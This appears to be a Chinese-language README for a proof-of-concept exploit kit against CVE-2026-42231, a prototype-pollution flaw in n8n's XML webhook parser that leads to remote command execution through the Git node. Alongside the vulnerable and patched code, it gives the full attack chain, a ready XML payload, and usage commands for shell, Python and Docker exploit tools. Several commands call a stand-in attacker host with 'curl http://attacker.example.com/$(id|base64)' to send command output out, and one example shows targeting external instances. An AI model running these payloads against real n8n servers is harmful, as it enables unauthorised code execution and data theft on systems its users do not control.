CVE: CVE-2026-42231
严重性: 严重(CVSS 10.0)
受影响版本: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
修复版本: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts 创建了一个模块级
单例 xml2js Parser,未配置 tagNameProcessors 或
attrNameProcessors。这允许攻击者发送包含 <__proto__> 元素的 XML Webhook 请求体。
xml2js 0.6.2 使用带数据描述符的 Object.defineProperty 来设置
解析对象上的元素键。由于 '__proto__' in obj 始终为
, 会将值包装在数组中,并将其存储为
— 从而绕过了通常会安全更新原型链的 访问器。
trueassignOrPush()[[Set]]自有的 __proto__ 属性在 JSON.stringify(n8n 将执行数据持久化到 SQLite/PostgreSQL 时执行)后仍然存在,并且在重新加载后经过 JSON.parse,随后的 Object.assign(target, reloadedBody) 会将 target 的原型重定向到攻击者控制的对象。
在同时包含执行 SSH 操作的 Git 节点 的工作流中,
被污染的原型会将 spawnOptions / GIT_SSH_COMMAND 值暴露给
simple-git 的 createInstanceConfig,从而实现操作系统级别的命令执行。
// packages/cli/src/middlewares/body-parser.ts (存在漏洞 — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // 将标签转为小写 — 但不会阻止 __proto__
explicitArray: false,
// ← 无 tagNameProcessors
// ← 无 attrNameProcessors
});
修复(>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. 攻击者向公开的 Webhook 触发器发送 XML POST:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. xml2js 请求体解析器创建 req.body.root,其中 '__proto__' 是
自有可枚举数据属性:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n 的 deepCopy() 通过 for...in + hasOwnProp 遍历自有键。
赋值语句 clone['__proto__'] = deepCopy(attackerArray)
通过 [[Set]] 访问器静默替换了 clone 的原型。
4. n8n 将执行数据序列化到数据库:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
__proto__ 键被包含在内,因为它是自有且可枚举的。
已在 SQLite 的 execution_data 表中确认。
5. 重新加载时,JSON.parse 将 '__proto__' 重新创建为自有数据属性
(普通对象,无数组包装)。
Object.assign(gitOptions, reloadedBody)
将 gitOptions 的原型重定向到攻击者控制的对象。
6. 当 Git 节点调用 simpleGit(gitOptions) 时:
createInstanceConfig(gitOptions)
通过原型链读取 config.spawnOptions → 为真值 →
spawnOptionsPlugin 被注册。
当 env 对象中存在 GIT_SSH_COMMAND 时,git 会在下一次 SSH 操作时
执行攻击者的命令。
normalizeTags 的说明normalizeTags: true 会将所有 XML 标签名转为小写,因此像
<GIT_SSH_COMMAND> 这样的子元素在解析后的对象中会变成 git_ssh_command。
为了保留环境变量名的大小写,请使用 XML 属性
(属性名不会被 normalizeTags 规范化):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
此命令会拉取 n8nio/n8n:1.123.22(最后一个受影响版本),构建
攻击者镜像,在 http://localhost:5678 启动易受攻击的目标,
自动创建并激活一个 Webhook 工作流,并将 Webhook URL 保存到 .webhook_state。
./exploit.sh setup
预期输出(已截断):
[*] 正在拉取易受攻击的 n8n 镜像(1.123.22)...
[*] 正在构建攻击者镜像 ...
[*] 正在启动易受攻击的 n8n 目标 ...
[*] 正在等待 n8n 变为健康状态 ...
[*] 正在创建 Webhook 工作流(Webhook → Code 节点)...
[+] 实验环境已就绪。
运行: ./exploit.sh demo # 验证污染原语
./exploit.sh exploit # 投递全部三个 RCE 载荷
./exploit.sh demo
PoC 会发送一个验证载荷,并显示从 n8n 工作流回显的解析后的请求体。 易受攻击的实例会返回:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# 或使用自定义命令:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
将投递三个互补的载荷:
| 载荷 | 技术 |
|---|---|
| A | <__proto__> 标签 — GIT_SSH_COMMAND 作为 XML 属性 |
| B | <constructor><prototype> 链 |
| C | 嵌套 <__proto__> 带 env 属性 |
GIT_SSH_COMMAND 的输出。"step4_objectAssignPolluted": true 以确认该链。pip install -r requirements.txt
# 仅验证 — 无需 Git 节点:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--demo
# 完整利用 — 需要 Webhook + Git/SSH 节点工作流:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
在某些部署中,n8n 将 Webhook 注册为
/webhook/<workflowId>/webhook/<path>。如果短格式
/webhook/<path> 返回 404,请将工作流 ID 前缀作为 --target 传入:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <path> \
--demo
复现 n8n 使用的精确 xml2js 解析器配置,并逐步执行 全部四个链阶段:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
易受攻击配置下的预期输出:
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] If target is used as simpleGit config AND the prototype exposes
e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══
# 构建攻击者镜像
docker build -t n8n-proto-pollution-poc .
# 演示模式(连接到共享实验网络)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# 完整利用
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# 针对外部目标(无需网络标志)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <path> \
--demo
./exploit.sh clean
停止容器并删除卷(包括 SQLite 数据库)。
| 文件 | 描述 |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | 独立 Python HTTP PoC — 三种 XML 载荷变体,--demo 和 --cmd 模式 |
verify_GHSA-q5f4-99jv-pgg5.js | Node.js 本地链验证器 — 无需在线实例即可逐步执行全部 4 个利用阶段 |
Dockerfile | 攻击者容器镜像 |
docker-compose.yml | 完整实验环境:易受攻击的 n8n + 攻击者容器 |
exploit.sh | 用于搭建、演示、利用和清理的辅助脚本 |
requirements.txt | Python 依赖 |